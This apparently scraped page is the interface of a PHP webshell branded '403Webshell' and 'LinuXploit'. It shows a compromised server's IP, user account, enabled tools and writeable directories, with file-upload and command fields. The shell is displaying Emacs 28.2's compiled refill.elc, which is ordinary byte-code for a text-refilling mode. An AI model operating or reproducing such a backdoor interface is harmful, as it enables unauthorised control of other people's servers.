403Webshell
Server IP : 217.160.0.212  /  Your IP : 216.73.216.94
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1073854427 ( 1073854427)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/share/emacs/28.2/lisp/textmodes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/emacs/28.2/lisp/textmodes/refill.elc
;ELC
;;; Compiled
;;; in Emacs version 28.2
;;; with all optimizations.



#@104 Portion of the most recently filled paragraph not needing filling.
This is used to optimize refilling.
(defvar refill-ignorable-overlay nil (#$ . 85))
(make-variable-buffer-local 'refill-ignorable-overlay)
#@107 Adjust OVERLAY to not include the about-to-be-modified region.

(fn OVERLAY AFTERP BEG END &optional LEN)
(defalias 'refill-adjust-ignorable-overlay #[1284 "?\205&\212b\210\300y\210`\301!X\203\302ee#\202%\302\301!`#)\207" [-1 overlay-start move-overlay] 9 (#$ . 298)])
#@101 Like `fill-paragraph' at POS, but don't delete whitespace at paragraph end.

(fn POS &optional ARG)
(defalias 'refill-fill-paragraph-at #[513 "\212b\210\304 \210\305\306!\210`\307 \210`\310!\311!V?\205\204b\210Y\203hW\203h	\203B\n\203;\n\312\230\203B\313\"\202C\n\314\214\203U\315#\210\202\\\316#\210)\317`#*\266\204\202\206\214\203w\315#\210\202~\316#\210)\317`#\266\204)\207" [refill-ignorable-overlay adaptive-fill-mode fill-prefix use-hard-newlines forward-paragraph skip-syntax-backward "-" backward-paragraph overlay-start overlay-end "" fill-context-prefix nil fill-region fill-region-as-paragraph move-overlay] 10 (#$ . 586)])
#@79 Like `fill-paragraph' but don't delete whitespace at paragraph end.

(fn ARG)
(defalias 'refill-fill-paragraph #[257 "\300`\"\207" [refill-fill-paragraph-at] 4 (#$ . 1276)])
#@432 Non-nil tells `refill-post-command-function' to do its processing.
Set by `refill-after-change-function' in `after-change-functions' and
unset by `refill-post-command-function' in `post-command-hook', and
sometimes `refill-pre-command-function' in `pre-command-hook'.  This
ensures refilling is only done once per command that causes a change,
regardless of the number of after-change calls from commands doing
complex processing.
(defvar refill-doit nil (#$ . 1458))
(make-variable-buffer-local 'refill-doit)
#@73 Set `refill-doit'.  Used by `after-change-functions'.

(fn BEG END LEN)
(defalias 'refill-after-change-function #[771 "?\205\211\207" [undo-in-progress refill-doit] 5 (#$ . 1974)])
#@56 Post-command function to do refilling (conditionally).
(defalias 'refill-post-command-function #[0 "\205U	\303=\203\n`SfH\203R\304!\210\305\202R	\306>\204R	\307>\203N\212\310 \210\311\305x\210\214e`}\210\304!\210*~\210\212\311\305w\210\214\312 d}\210\304!\210*\202R\304!\210\305\211\207" [refill-doit this-command auto-fill-chars self-insert-command refill-fill-paragraph-at nil (fill-region fill-paragraph quoted-insert) (reindent-then-newline-and-indent default-indent-new-line indent-new-comment-line open-line newline-and-indent newline) beginning-of-line "\n" line-beginning-position] 2 (#$ . 2166)])
#@55 Pre-command function to do refilling (conditionally).
(defalias 'refill-pre-command-function #[0 "\205	\302=?\205\303!\210\304\211\207" [refill-doit this-command self-insert-command refill-fill-paragraph-at nil] 2 (#$ . 2793)])
(defvar refill-saved-state nil)
#@91 Non-nil if Refill mode is enabled.
Use the command `refill-mode' to change this variable.
(defvar refill-mode nil (#$ . 3066))
(make-variable-buffer-local 'refill-mode)
#@841 Toggle automatic refilling (Refill mode).

This is a minor mode.  If called interactively, toggle the `Refill
mode' mode.  If the prefix argument is positive, enable the mode, and
if it is zero or negative, disable the mode.

If called from Lisp, toggle the mode if ARG is `toggle'.  Enable the
mode if ARG is nil, omitted, or is a positive number.  Disable the
mode if ARG is a negative number.

To check whether the minor mode is enabled in the current buffer,
evaluate `refill-mode'.

The mode's hook is called both when the mode is enabled and when it is
disabled.

Refill mode is a buffer-local minor mode.  When enabled, the
current paragraph is refilled as you edit.  Self-inserting
characters only cause refilling if they would cause
auto-filling.

For true "word wrap" behavior, use `visual-line-mode' instead.

(fn &optional ARG)
(defalias 'refill-mode #[256 "\306 \307=\203
?\202\247\203\310W\203\311\202\312\313\301!\2031\314\300	\"\2031\300	B\n\203=\315\n!\210\316\302!\210\317\303!\203^\211\203Y\211@\320@!AL\210A\266\202\202D\210\316\303!\210\203\247\321\322\323\311\312$\210\321\324\325\311\312$\210\321\326\327\311\312$\210\320\303!\210\330\331\332\"\320\304!\210\333\320\305!\210\334\335\310\211\311\211\312%\336\n\337\340#\210\336\n\341\342#\210\343\344!\210\202\267\345\322\323\312#\210\345\324\325\312#\210\316\305!\210\346\347\203\301\350\202\302\351\"\210\352\353!\203\344\306 \203\326\211\306 \232\203\344\354\355\203\340\356\202\341\357\360#\210\210\361 \210\207" [refill-mode local-minor-modes refill-ignorable-overlay refill-saved-state fill-paragraph-function backward-delete-char-untabify-method current-message toggle 1 nil t boundp delq delete-overlay kill-local-variable local-variable-p make-local-variable add-hook after-change-functions refill-after-change-function post-command-hook refill-post-command-function pre-command-hook refill-pre-command-function mapcar #[257 "\211JB\207" [] 3 "\n\n(fn S)"] (fill-paragraph-function auto-fill-function) refill-fill-paragraph hungry make-overlay overlay-put modification-hooks (refill-adjust-ignorable-overlay) insert-behind-hooks (refill-adjust-ignorable-overlay) auto-fill-mode 0 remove-hook run-hooks refill-mode-hook refill-mode-on-hook refill-mode-off-hook called-interactively-p any message "Refill mode %sabled%s" "en" "dis" " in current buffer" force-mode-line-update] 8 (#$ . 3242) (byte-code "\203\n\301!\202\302C\207" [current-prefix-arg prefix-numeric-value toggle] 2)])
(defvar refill-mode-hook nil)
(byte-code "\300\301N\204\f\302\300\301\303#\210\302\300\304\305#\210\302\300\306\307C#\207" [refill-mode-hook variable-documentation put "Hook run after entering or leaving `refill-mode'.\nNo problems result if this variable is not bound.\n`add-hook' automatically binds it.  (This is true for all hook variables.)" custom-type hook standard-value nil] 4)
#@27 Keymap for `refill-mode'.
(defvar refill-mode-map (byte-code "\300\301!\203\207\211<\203\302!\207\303\304\"\207" [(("" . backward-delete-char-untabify)) keymapp easy-mmode-define-keymap error "Invalid keymap %S"] 4) (#$ . 6148))
(byte-code "\301\302\303\304\211%\210\305\306!\207" [refill-mode-map add-minor-mode refill-mode " Refill" nil provide refill] 6)

Youez - 2016 - github.com/yon3zu
LinuXploit